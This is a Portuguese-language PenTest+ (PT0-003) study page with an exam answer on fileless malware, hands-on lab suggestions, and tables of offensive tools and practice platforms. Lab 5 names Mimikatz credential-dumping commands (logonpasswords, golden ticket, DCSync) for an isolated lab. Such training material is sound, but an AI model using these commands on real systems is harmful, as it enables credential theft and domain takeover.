Resposta: D. Fileless malware existe apenas em memória — sem artefacto em disco para scanners de AV encontrarem. Meterpreter corre em memória sem ficheiro, Cobalt Strike Beacon pode ser injetado em processos legítimos. Deteção requer análise de memória (EDR) ou análise comportamental.
🧪 Laboratórios Práticos — Domínio 5
  • Lab 1 — Privilege Escalation Windows (THM): Sala "Windows Privilege Escalation" no TryHackMe. Cobre token impersonation, unquoted service paths, AlwaysInstallElevated e DLL hijacking com ambiente guiado.
  • Lab 2 — Privilege Escalation Linux (THM): Sala "Linux Privilege Escalation" — SUID, sudo misconfig, cron jobs, NFS. Depois tenta o HackTheBox "Beep" e "Nibbles" sem guia.
  • Lab 3 — BloodHound AD Lab: Instala um AD lab com BadBlood (popula um AD com utilizadores/grupos vulneráveis). Usa BloodHound para visualizar attack paths. Identifica o caminho mais curto para Domain Admin.
  • Lab 4 — Pivoting com SSH e Chisel: Configura 3 VMs: Kali → Pivot (Ubuntu) → Target (Windows). Pratica SSH dynamic forwarding, local port forwarding e Chisel para aceder ao Target apenas através do Pivot.
  • Lab 5 — Mimikatz em lab isolado: VM Windows Server 2019 (lab isolado, sem internet). Pratica sekurlsa::logonpasswords, kerberos::golden e lsadump::dcsync. Nunca em sistemas reais ou sem autorização.
  • Lab 6 — HackTheBox Pro Labs: "Offshore" e "RastaLabs" são Pro Labs com ambientes Active Directory completos que exigem encadeamento de post-exploitation — excelente simulação de exame avançado.
Recursos

Ferramentas & Plataformas de Prática

Kit de estudo recomendado para a PT0-003

🛠️ Toolkit Essencial

CategoriaFerramentaOnde aprender
Distro principalKali Linux / Parrot OSkali.org — ISO gratuita
Framework de exploraçãoMetasploit Frameworkmetasploit.com/training
Web Proxy/ScannerBurp Suite Communityportswigger.net/web-security (labs gratuitos)
Network ScannerNmap + NSEnmap.org/book
AD AttackBloodHound + SharpHoundgithub.com/BloodHoundAD
Credential DumpingMimikatzLab isolado Windows AD
Password CrackingHashcat + John the Ripperhashcat.net/wiki
C2 FrameworkHavoc (open-source)github.com/HavocFramework/Havoc
Cloud PentestPacu (AWS), ScoutSuiteflaws.cloud (prática)

🎯 Plataformas de Prática

PlataformaMelhor paraCusto
TryHackMeAprendizagem guiada, iniciantes e intermédioGratuito + Premium ~14€/mês
HackTheBoxMáquinas desafiadoras, Pro Labs com ADGratuito + VIP ~14€/mês
PortSwigger Web Security AcademyWeb App hacking (SQLi, XSS, SSRF, etc.)100% Gratuito
PentesterLabWeb hacking com badges e certificadosGratuito + Pro ~20€/mês
flaws.cloud / flaws2.cloudAWS cloud hacking100% Gratuito
VulnHubVMs para download, prática offline100% Gratuito
CRTE / CRTOActive Directory Red Teaming (certs avançadas)~400€ — pós PT0-003